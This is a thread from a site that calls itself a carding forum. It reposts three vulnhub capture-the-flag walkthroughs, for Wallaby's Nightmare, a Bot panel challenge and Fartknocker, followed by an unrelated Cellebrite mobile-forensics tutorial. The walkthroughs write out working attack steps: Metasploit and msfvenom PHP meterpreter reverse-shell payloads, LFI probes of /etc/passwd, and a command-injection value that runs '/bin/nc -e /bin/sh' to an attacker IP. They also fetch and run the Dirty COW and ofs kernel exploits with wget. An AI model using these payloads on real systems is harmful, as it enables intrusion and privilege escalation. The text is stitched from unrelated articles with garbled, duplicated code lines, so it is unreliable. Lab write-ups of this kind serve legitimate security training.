[Guide] How to Hack the Nightmare VM (CTF Challenge)

[Guide] How to Hack the Nightmare VM (CTF Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Nightmare VM (CTF Challenge) (/Thread-Guide-How-to-Hack-the-Nightmare-VM-CTF-Challenge)

[Guide] How to Hack the Nightmare VM (CTF Challenge) - NINZA - 05-02-2020

Today we are going to solve Wallaby’s Nightmare CTF which is a new VM challenge of vulnhub where the attacker has to achieve root flag of the targeted VM machine; you can download it from

[To see content please register here]

.
Table of Content

Network Scanning (Netdiscover, Nmap)
Abusing HTTP service for LFI Vulnerability
Web Directory Enumeration (Dirb)
Exploiting RCE (Metasploit)
Kernel Privilege Escalation

Let’s Begin!
As we always start from the network so that we can have a target IP. In your Kali Linux open the terminal and type netdiscover, now from the screenshot you can see a list of IP. Here 192.168.0.101 is my target IP.
[Image: 1.png?w=687&ssl=1]

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- -A 192.168.0.101
1
nmap -p- -A 192.168.0.101
So here I found three ports 22, 80, 6667 are open.
[Image: 2.png?w=687&ssl=1]

Since port 80 is open I look toward browser and explore target IP 192.168.0.101 where I found a comment “enter a username to get started with this CTF” then I type the name “RAJ” and click on submit so that we could move forward into start the game.
[Image: 3.png?w=687&ssl=1]

When I clicked on submit tab is linked to next web page where you can read the assigned username for this CTF from screenshot now we can start this CTF when we will click on given link start the CTF!
[Image: 4.png?w=687&ssl=1]

Next web page open with an exclusive warning that Mr. Wallaby found raj is trying to penetrate inside the server so user “raj” is under his observation. Then soon after reading this threat, I observe at its URL I thought it might be vulnerable to etc/passwd same as LFI attack.
[Image: 5.png?w=687&ssl=1]

Then I try browse following in URL 192.168.1.101/?page=/etc/passwd though the web page stands up with raw data nothing was quite useful on this web page. And when I refresh it I lose connection from port 80. As raj was threatened by Wallaby ?
[Image: 6.png?w=687&ssl=1]

Again I move toward nmap so that I can make sure about port 80 but here I found a new port 60080 is open for http service as you can perceive this thing from the given screenshot.
[Image: 7.png?w=687&ssl=1]

Then I next to my next tool dirb
dirb

[To see content please register here]

=
1
dirb

[To see content please register here]

=
Now from the screenshot, you can see the result and currently we will look toward highlighted directory.
[Image: 8.png?w=687&ssl=1]

So when I browse 192.168.0.101:60080/?page=mailer in URL the resultant web page gets opened and I found nothing special here except “coming soon, guys!”
[Image: 9.png?w=687&ssl=1]

Then I look after page source code to get some clue, here inside HTML code the anchor tag contains a link for another file which you can see from the screenshot.
[Image: 10.png?w=687&ssl=1]

Again I browse above highlighted text 192.168.0.101:60080/?mailer&mail=pwd in URL and the web page comes outside with /var/www/html
Hence we can say that the current page might good for executing malicious comment as a command.
[Image: 11.png?w=687&ssl=1]

Now load Metasploit framework to connect with the victim through reverse connection
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>set lhost 192.168.0.106
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>set lhost 192.168.0.106
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>exploit
Now copy the generated command php….UvrG’));” and send it to target
[Image: 12.png?w=687&ssl=1]

From the screenshot, you can see I have pasted above malicious PHP comment inside URL in hope to get a reverse connection inside Metasploit.
[Image: 13.png?w=687&ssl=1]

So when I execute this comment I receive meterpreter session and get connected with victim shell
meterpreter> sysinfo
meterpreter> shell
1
2
meterpreter> sysinfo
meterpreter> shell

Code:
The contents of this section are hidden for your group

Register or Login

Now use “Dirty cow exploit” therefore type the following command to download this exploit inside tmp folder of the victim.
wget

[To see content please register here]

1
wget

[To see content please register here]

Now type the following command to compile your exploit so that it can run successfully inside.
gcc cowroot.c –o cowroot -pthread
1
gcc cowroot.c –o cowroot -pthread
[Image: 16.png?w=687&ssl=1]

Now we can run our exploit to achieve root permission and try to capture the flag
./cowroot
id
cd /root
ls
cat flag.txt
1
2
3
4
5
./cowroot
id
cd /root
ls
cat flag.txt
Congratulation!!! We have captured the flag which you can see from the screenshot and beat this task………..
[Image: 17.png?w=687&ssl=1]

Hi friends! Today we are going to face Bot challenge in new VM machine of vulnhub design by Mr. Brian Wallace. In this tutorial you will how to access root privilege by generating malicious bot. you can download this challenge from

[To see content please register here]

.
Let’s start!!!
Open the terminal of Klai Linux to Identify the target in your network using netdiscover command.
netdiscover
1
netdiscover
From screenshot you can see the highlighted target IP : 192.168.1.105
[Image: 1.png?w=687&ssl=1]

Enumerate open port of targeted IP using nmap therefore type following command:
nmap -p- -Pn 192.168.1.105
1
nmap -p- -Pn 192.168.1.105
From its scanning result we come to know that port 22, 80, 111, 55844 are open ports.
[Image: 2.1.png?w=687&ssl=1]

Seeing as port 80 is open I come across towards browser and look at target IP 192.168.1.105. Here the web page was pointing out towards two more different links “Panel” and “Dexter Analysis for a different botnet”.
When I visit to second link it was redirected to another website and I found this link is not for our use but when I click on “panel” this linked me to a login page.
[Image: 2.png?w=687&ssl=1]

So now I was at login page and I have no idea for its username: password here I also try sql login form injection but couldn’t breach this login page.
[Image: 3.png?w=687&ssl=1]

Now next I choose dirbuster for directory brute force attack to step forward in expectation to get some directories inside it.
[Image: 5.png?w=687&ssl=1]

From screenshot you can perceive the files and directories which I found through brute force attack. Next we need to explore these directories in browser so that we can find our any clue to breach login page.
[Image: 6.png?w=687&ssl=1]

I start with upload.php where we can upload our malicious file or backdoor as you can see from screenshot I try to upload hacked.php file but nothing happened. Then I try to explore another directory but unable to find any clue regarding this task.
When I investigate more, then after wasting much I found apart from all directories only gateway.php was suffering from blind SQL injection vulnerable but here the post parameter was encoded with base 64.
[Image: 7.png?w=687&ssl=1]

Now attacker has two options either configure sqlmap to retrieve credential or download relevant exploit Dexter Casino Loader SQL Injection given by Brian Wallace. I had use this exploit to find out login credential. You can download it from

[To see content please register here]

Once you have downloaded it then type following command in terminal:
python 31686.py dump

[To see content please register here]

1
python 31686.py dump

[To see content please register here]

Now you will get login credential for bot panel.
[Image: 10.png?w=687&ssl=1]

Then I typed above fetched username and password into login form.
[Image: 11.png?w=687&ssl=1]

The panel has three basic features; bot control, dump viewer, and file upload. Without wasting time I click on upload options.
[Image: 12.png?w=687&ssl=1]

Now again I will try to upload php backdoor so that we get reverse connection of target system.
[Image: 13.png?w=687&ssl=1]

Now use msfvenom to generate malicious PHP script and type following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 –f raw
From screenshot you can read the generated PHP script, at this instant we need to copy the text highlighted text further we will past it inside text document and saved with shell.php and multi handler inside metasploit.
[Image: 14.png?w=687&ssl=1]

Now go back to upload directory and upload shell.php now you can see from given image the shell.php file is successfully upload inside /panel/exes.
[Image: 15.png?w=687&ssl=1]

Here we are going to execute shell.php which gives reverse connection in metasploit framework.
192.168.0.105/panel/exes
1
192.168.0.105/panel/exes
[Image: 16.png?w=687&ssl=1]

Awesome! We have victim’s metrepreter session
metrepreter > ls
metrepreter > cd /var/www
metrepreter > ls
1
2
3
metrepreter > ls
metrepreter > cd /var/www
metrepreter > ls
Inside /var/www I found my bot file antitamper.list, now first we will download it
metrepreter >download antitamper.list /root/Desktop
1
metrepreter >download antitamper.list /root/Desktop
[Image: 17.png?w=687&ssl=1]

Here you can read the downloaded file then add you malicious bot inside it
[Image: 18.png?w=687&ssl=1]

Now I have add my malicious bot then upload it again inside /var/www and start netcat for reverse connection then run antitamper.py
"shell": "'; /bin/nc -e /bin/sh 192.168.1.104 4444 #",
1
"shell": "'; /bin/nc -e /bin/sh 192.168.1.104 4444 #",
[Image: 19.png?w=687&ssl=1]

nc –nlvp 4444
id
1
2
nc –nlvp 4444
id
Hurray!!! We have got root connection.
[Image: 20.png?w=687&ssl=1]

Top HatSec built a VM image “Fartknocker” and kept the challenge to capture the flag in his machine. This VM box is mainly designed for testing your network penetration skills, before solving this challenge you must know about network packet analysis and port knocking.
Let’s begin!
Scan your network using the netdiscover command I found an IP address 192.168.1.25 in my network.
[Image: 1.png?w=687&ssl=1]

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- -A 192.168.1.25
1
nmap -p- -A 192.168.1.25
So here I found only single port 80 is open
[Image: 2.png?w=687&ssl=1]

Since port 80 is open I look toward browser and explore target IP 192.168.1.25, here I got a Link “Woah” without wasting time I just clicked on it.
[Image: 3.png?w=687&ssl=1]

Link Woah contains a pcap1.pcap file; I download it to find out some clue.
[Image: 4.png?w=687&ssl=1]

This file open with Wireshark here I distinguish that VM box trying to connect over TCP ports 7000, 8000, and 9000. Behind the machine efforts on those 3 ports it gets discarded and some obstructed attempts on a connection RST, ACK; when I dig out more I found this technique is known as port knocking.
Port 7000 is used for connection but rejected.
[Image: 5.png?w=687&ssl=1]

Port 8000 is used for connection but rejected.
[Image: 6.png?w=687&ssl=1]

Port 9000 is used for connection but rejected.
[Image: 7.png?w=687&ssl=1]

Now send packets to 7000, 8000, 9000 so that these ports sequence will open another port. Therefore type the following command for nmap to perform a Sequential Port Scan.
nmap -r -p 7000,8000,9000 192.168.1.25
1
nmap -r -p 7000,8000,9000 192.168.1.25
[Image: 8.png?w=687&ssl=1]

Once again scan target machine using aggressive scan.
nmap -p- -A 192.168.1.25
1
nmap -p- -A 192.168.1.25
Great! Here we can see 8888 is open now and from the screenshot, you read a new directory /burgerworld/
[Image: 9.png?w=687&ssl=1]

Then I run towards browser to explore 192.168.1.25/burgerworld/ this time again I found another link heheh..hehh that contains one more pcap file again I download that pcap2.pcap file.
[Image: 10.png?w=687&ssl=1]

Now the game is very clear Top HatSec had involved port knowing at each step, again I opened the pcap2 file with Wireshark but this time I didn’t found any port knocking sequence, therefore, I randomly select a packet to follow it TCP stream. Here you can select any packet to make right click on it and choose to follow option.
[Image: 11.png?w=687&ssl=1]

TCP stream captured the following image point towards another clue through CAN YOU UNDERSTAND MY MESSAGE!
Hush! His message was in the German language!
[Image: 12.png?w=687&ssl=1]

When I translate it I got one three three seven. This port 1337 could be another knocking port.
[Image: 13.png?w=687&ssl=1]

Again type the following command for nmap to perform a Sequential Port Scan.
nmap -r -p 1337 192.168.1.25
1
nmap -r -p 1337 192.168.1.25
Oooh!!! It is showing waste service means to perform a Sequential Port Scan fail to knock 1337.
[Image: 14.png?w=687&ssl=1]

Use another way “netcat” to knock port 1337:
nc -nv 192.168.1.25 1337
1
nc -nv 192.168.1.25 1337
But connection refused now try the single port number.
nc –nv 192.168.1.25 1
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 7
1
2
3
4
nc –nv 192.168.1.25 1
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 7
Finally, port 1337 get opened which points towards /iamcornholio/
[Image: 15.png?w=687&ssl=1]

Now Explore
192.168.1.25/iamcornholio/
1
192.168.1.25/iamcornholio/
This time I found a base 64 encode string which should be decoded so that we can move forward.
[Image: 16.png?w=687&ssl=1]

I took the help of burp suite to decode this string “T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK” and what I found was quite interesting.
Open up SSH: 8888 9999 7777 6666
[Image: 17.png?w=687&ssl=1]

Again Use “netcat” to knock the following port:
nc –nv 192.168.1.25 8888
nc –nv 192.168.1.25 9999
nc –nv 192.168.1.25 7777
nc –nv 192.168.1.25 6666
1
2
3
4
nc –nv 192.168.1.25 8888
nc –nv 192.168.1.25 9999
nc –nv 192.168.1.25 7777
nc –nv 192.168.1.25 6666
[Image: 18.png?w=687&ssl=1]

From the screenshot you can I have used version scan for the target.
nmap -sV 192.168.1.25
1
nmap -sV 192.168.1.25
Awesome port 22 is opened for SSH
[Image: 19.png?w=687&ssl=1]

Now try to connect with the target through
ssh -l butthead 192.168.1.25 /bin/bash
1
ssh -l butthead 192.168.1.25 /bin/bash
Here I got successfully login now type the following command
ls
uname -a
1
2
ls
uname -a
I Found kernel version 3.13.0 now let’s find out whether there is an exploit related to its present or not.
[Image: 21.png?w=687&ssl=1]

With the help of Google, I found an exploit from the screenshot you can see the link for “ofs 32” click on it to download this exploit that allows a local user to take administration privilege.
[Image: 22.png?w=687&ssl=1]

Now type the following command to download ofs 32 inside the victim’s system and then achieve root privileges to capture the flag.
wget

[To see content please register here]

ls
./ofs_32
1
2
3
wget

[To see content please register here]

ls
./ofs_32
[Image: 23.png?w=687&ssl=1]

id
cd /root
ls
cat secretz
SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"
1
2
3
4
5
id
cd /root
ls
cat secretz
SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"
!!This was very curies and most challenging machine!!
[Image: 24.png?w=687&ssl=1]

The manifold increase in the mobile penetration amongst the world population has interested people from all works of life namely mobile manufactures, service providers, application developers and more to this industry. Thequantum jump inthe user base and its usage of mobile has even caught the eye of Forensic Experts.
[Image: 1.png?w=687&ssl=1]

In this article we will conduct a mobile investigation of ONE Plus mobile model by applying Cellebrite UFED software.
As a preliminary process, adjustments need to be undertaken on the mobile model under surveillance. The investigator attaches the mobile to his/her laptop through the phone cable.The investigator needs to open the ‘About Phone’ section under Setting and scroll down the various options till he reaches the ‘Build Option’, he needs to tap the ‘Build Option’ seven (7) times which opens a new section – the ‘Developer Option’. Before commencing Cellebrite software, the investigator must check whether the mobile commands ‘Stay Awake’ and Debugging (USB debugging) are ON.
[Image: 0.jpg?w=687&ssl=1]

After completing the following steps, the investigator inserts the licensed Cellebrite USB Key in the laptop which displays five choices namely- Mobile device, SIM Card, USB device or Memory Card, UFED Camera and Device Tool.
We choose ONE Plus mobile model to demonstrate the Cellebrite software. After configuration the software on the laptop, the software displayed seven ONE Plus models to select our model.
[Image: 2.png?w=687&ssl=1]

Since our mobile is ONE Plus 3 A3003 model, we put it for the forensic investigation. In order to gather information, the Cellebrite software provided us with five ‘Extraction’ choices ranging from Logical Extraction, File System Extraction, Physical Extraction (Root), Capture Images, Capture Screen Shots which are easy to understand and implement.
It is recommended that the investigator must click on Logical Extraction followed by Physical Extraction to gather information.
[Image: 4.png?w=687&ssl=1]

For our demonstration, we selected the Logical Extraction and selected three types of information from the Phone Memory likePhone (Phone Book), SIM (Phone Book) and Phone (Content) and press Next.
[Image: 5.png?w=687&ssl=1]

The Logical Extraction gave a further choice to select the type of information from the Phone Memory namely Contacts, SMS, MMS, Calendar, Apps Data, Pictures, Audio/Music, Videos, Ringtones and Call Logs.
[Image: 7.png?w=687&ssl=1]

The software sends a ‘pop up’ message and in order to move further the investigator needs to click on YES.
[Image: 9.1.jpg?w=687&ssl=1]

From the Contacts account we extracted contacts from Gmail, Face book messenger and Whatsapp as displayed below.
[Image: 9.png?w=687&ssl=1]

The Cellebrite software provides the investigator with source instructions to proceed further on the case by just clicking on the ‘How to?’
[Image: 10.png?w=687&ssl=1]

The Logical Phone Extraction was completed successfully. The details of the number of information gathered from Phonebook, SMS, and Call Logs from the mobile under forensic investigation is highlighted.
[Image: 11.png?w=687&ssl=1]

The software displays another pop up ‘PA Evidence Collection.ufdx’ along with the Logical 01 folder for the investigator
[Image: 12.png?w=687&ssl=1]

The UFED Physical Analyzer report of the mobile phone was captured by Cellebrite. The analyser captured content of the mobile model information ranging from the model name, IMEI, ICCID, MSISDN, IMSI to name a few.
[Image: 13.png?w=687&ssl=1]

Before making the final report, a case management form needs to be filled up by the investigator which provides –the case number, name, evidence number, examiner name, department, location, notes, name of the report, document details, project name as well as format. The report will be submitted in PDF or word or any other format. The final report is generated by pressing Next command.
[Image: 14.png?w=687&ssl=1]

Summary of the Cellebrite UFED report on mobile under forensic investigation.
[Image: 15.png?w=687&ssl=1]